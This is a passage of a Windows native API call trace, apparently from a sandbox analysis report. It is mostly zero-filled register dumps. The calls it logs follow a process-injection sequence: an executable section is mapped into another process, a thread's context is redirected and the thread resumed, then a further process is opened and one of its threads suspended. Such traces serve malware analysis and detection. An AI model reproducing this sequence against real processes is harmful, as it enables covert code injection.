[21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x5ef934, Ebx=0x60e000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x5ef8dc, Eip=0x7742295c, SegCs=0x23, EFlags=0x202, Esp=0x5ef8c4, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0610.134] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0610.134] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0x190a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0x191000) returned 0x0 [0610.142] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x1e4, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0x190a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x2fd0000, SectionOffset=0x0, ViewSize=0x6be5b0*=0x191000) returned 0x0 [0610.165] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0610.197] NtClose (Handle=0x214) returned 0x0 [0610.197] NtSetContextThread (ThreadHandle=0x20c, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x5ef934, Ebx=0x60e000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x5ef8dc, Eip=0x30ce927, SegCs=0x23, EFlags=0x202, Esp=0x5ef8c4, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0610.197] NtResumeThread (in: ThreadHandle=0x20c, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0610.197] NtClose (Handle=0x1e4) returned 0x0 [0610.197] NtClose (Handle=0x20c) returned 0x0 [0610.198] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0xf48, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x20c) returned 0x0 [0610.198] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0610.198] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0610.198] NtReadVirtualMemory (in: ProcessHandle=0x20c, BaseAddress=0xd88000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0610.198] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0615.208] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xf58) | out: ThreadHandle=0x6be92c*=0x1e4) returned 0x0 [0615.209] NtSuspendThread (in: ThreadHandle=0x1e4, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0615.209] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x20c, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x2b70000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0615.213] NtGetContextThread (in: ThreadHandle=0x1e4, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xeffd3c, Ebx=0xd88000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xeffce4, Eip=0x7742295c, SegCs=0x23, EFlags=0x206, Esp=0xeffccc, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, 